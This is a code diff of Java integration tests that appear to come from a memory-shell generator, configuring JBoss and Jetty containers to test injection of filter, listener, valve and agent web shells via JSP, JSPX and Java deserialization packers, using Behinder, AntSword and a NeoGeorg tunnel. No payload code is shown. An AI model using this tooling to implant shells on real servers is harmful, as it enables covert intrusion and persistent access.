void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,19 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jboss510ContainerTest { public class Jboss510ContainerTest {
public static final String imageName = "reajason/jboss:5-jdk6"; public static final String imageName = "reajason/jboss:5-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war") .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh") .withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS; Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, List<String> supportedShellTypes = List.of(
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
@@ -61,6 +74,6 @@ public class Jboss510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,19 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jboss610ContainerTest { public class Jboss610ContainerTest {
public static final String imageName = "reajason/jboss:6-jdk7"; public static final String imageName = "reajason/jboss:6-jdk7";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh") .withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS; Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, List<String> supportedShellTypes = List.of(
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -58,6 +71,6 @@ public class Jboss610ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jboss711ContainerTest { public class Jboss711ContainerTest {
public static final String imageName = "reajason/jboss:7-jdk7"; public static final String imageName = "reajason/jboss:7-jdk7";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh") .withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -46,8 +54,12 @@ public class Jboss711ContainerTest {
*/ */
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS; Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, List<String> supportedShellTypes = List.of(
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -61,6 +73,6 @@ public class Jboss711ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container); testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class JbossEap6ContainerTest { public class JbossEap6ContainerTest {
public static final String imageName = "reajason/jboss:eap-6-jdk8"; public static final String imageName = "reajason/jboss:eap-6-jdk8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh") .withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -58,6 +66,6 @@ public class JbossEap6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class JbossEap7ContainerTest { public class JbossEap7ContainerTest {
public static final String imageName = "reajason/jboss:eap-7-jdk8"; public static final String imageName = "reajason/jboss:eap-7-jdk8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh") .withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -57,6 +65,6 @@ public class JbossEap7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty10ContainerTest { public class Jetty10ContainerTest {
public static final String imageName = "jetty:10-jre11"; public static final String imageName = "jetty:10-jre11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,6 +69,6 @@ public class Jetty10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,27 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty11ContainerTest { public class Jetty11ContainerTest {
public static final String imageName = "jetty:11-jre11"; public static final String imageName = "jetty:11-jre11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
@@ -58,6 +70,6 @@ public class Jetty11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,26 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty61ContainerTest { public class Jetty61ContainerTest {
public static final String imageName = "reajason/jetty:6.1-jdk6"; public static final String imageName = "reajason/jetty:6.1-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +68,6 @@ public class Jetty61ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -0,0 +1,74 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty75ContainerTest {
public static final String imageName = "reajason/jetty:7.5.4-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty76ContainerTest { public class Jetty76ContainerTest {
public static final String imageName = "reajason/jetty:7.6-jdk6"; public static final String imageName = "reajason/jetty:7.6-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
